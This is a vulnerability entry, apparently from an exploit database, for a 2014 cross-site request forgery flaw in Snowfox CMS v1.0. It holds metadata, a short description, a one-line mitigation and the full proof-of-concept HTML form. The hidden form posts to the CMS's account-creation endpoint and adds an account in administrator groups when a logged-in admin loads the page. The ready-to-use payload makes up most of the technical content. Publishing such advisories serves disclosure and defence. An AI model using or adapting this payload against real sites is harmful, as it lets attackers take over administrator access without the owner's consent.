Snowfox CMS v1.0 CSRF Add Admin Exploit

vendor:

Snowfox CMS

by:

Gjoko 'LiquidWorm' Krstic

7,5

CVSS

HIGH

Cross-site request forgery

352

CWE

Product Name: Snowfox CMS

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: YES

Related CWE: N/A

CPE: a:globiz_solutions:snowfox_cms:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Apache/2.4.7 (Win32), PHP/5.5.6, MySQL 5.6.14

2014

Snowfox CMS v1.0 CSRF Add Admin Exploit

Snowfox CMS suffers from a cross-site request forgery vulnerabilities. The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Mitigation:

Validate all user input and ensure that requests are coming from trusted sources.

Source

Exploit-DB raw data:

<!--

Snowfox CMS v1.0 CSRF Add Admin Exploit


Vendor: Globiz Solutions
Product web page: http://www.snowfoxcms.org
Affected version: 1.0

Summary: Snowfox is an open source Content Management System (CMS)
that allows your website users to create and share content based
on permission configurations.

Desc: Snowfox CMS suffers from a cross-site request forgery
vulnerabilities. The application allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5205
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5205.php



12.11.2014

-->


<html>
  <body>
    <form action="http://10.0.18.3/snowfox/?uri=admin/accounts/create" method="POST">
      <input type="hidden" name="emailAddress" value="lab@zeroscience.mk" />
      <input type="hidden" name="verifiedEmail" value="verified" />
      <input type="hidden" name="username" value="USERNAME" />
      <input type="hidden" name="newPassword" value="PASSWORD" />
      <input type="hidden" name="confirmPassword" value="PASSWORD" />
      <input type="hidden" name="userGroups[]" value="34" />
      <input type="hidden" name="userGroups[]" value="33" />
      <input type="hidden" name="memo" value="CSRFmemo" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="formAction" value="submit" />
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>